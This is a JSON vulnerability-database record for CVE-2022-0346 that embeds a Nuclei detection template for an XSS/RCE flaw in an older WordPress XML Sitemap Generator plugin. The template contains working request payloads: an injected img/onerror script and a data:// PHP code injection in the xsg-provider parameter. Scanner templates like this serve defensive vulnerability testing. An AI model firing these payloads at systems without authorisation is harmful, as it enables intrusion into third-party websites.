{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-0346/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-0346/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-0346/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-0346/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-0346/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-0346"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-0346"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2022/CVE-2022-0346.yaml",
    "nuclei_template_severity": "medium",
    "nuclei_template_yaml": "id: CVE-2022-0346\n\ninfo:\n  name: WordPress XML Sitemap Generator for Google <2.0.4 - Cross-Site Scripting/Remote Code Execution\n  author: Akincibor,theamanrawat\n  severity: medium\n  description: |\n    WordPress XML Sitemap Generator for Google plugin before 2.0.4 contains a cross-site scripting vulnerability that can lead to remote code execution. It does not validate a parameter which can be set to an arbitrary value, thus causing cross-site scripting via error message or remote code execution if allow_url_include is turned on.\n  impact: |\n    Successful exploitation of these vulnerabilities could allow an attacker to execute arbitrary code on the affected system or inject malicious scripts into web pages viewed by users.\n  remediation: |\n    Update the WordPress XML Sitemap Generator for Google plugin to version 2.0.4 or later to mitigate the XSS and RCE vulnerabilities.\n  reference:\n    - https://wpscan.com/vulnerability/4b339390-d71a-44e0-8682-51a12bd2bfe6\n    - https://wordpress.org/plugins/www-xml-sitemap-generator-org/\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-0346\n    - https://github.com/ARPSyndicate/cvemon\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2022-0346\n    cwe-id: CWE-79\n    epss-score: 0.02067\n    epss-percentile: 0.80566\n    cpe: cpe:2.3:a:xmlsitemapgenerator:xml_sitemap_generator:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: xmlsitemapgenerator\n    product: xml_sitemap_generator\n    framework: wordpress\n  tags: cve2022,cve,wpscan,wp,wordpress,wp-plugin,xss,www-xml-sitemap-generator-org,xmlsitemapgenerator,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - '{{BaseURL}}/?p=1&xsg-provider=%3Cimg%20src%20onerror=alert(document.domain)%3E&xsg-format=yyy&xsg-type=zz&xsg-page=pp'\n      - '{{BaseURL}}/?p=1&xsg-provider=data://text/html,<?php%20echo%20md5(\"CVE-2022-0346\");%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp'\n\n    stop-at-first-match: true\n    matchers:\n      - type: word\n        part: body_1\n        words:\n          - \"<img src onerror=alert(document.domain)>\"\n          - \"Invalid Provider type specified\"\n        condition: and\n\n      - type: word\n        part: body_2\n        words:\n          - \"2ef3baa95802a4b646f2fc29075efe34\"\n# digest: 4b0a0048304602210090c92403410430601552e5b52af8a34c950e170bfa3435ee3d0a0cc7a0ce30ea022100d3e23e3182ed84a28d8411c22cde6935781bc9e4d6dbe636c8ae0221bbbff867:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2022-0346"
}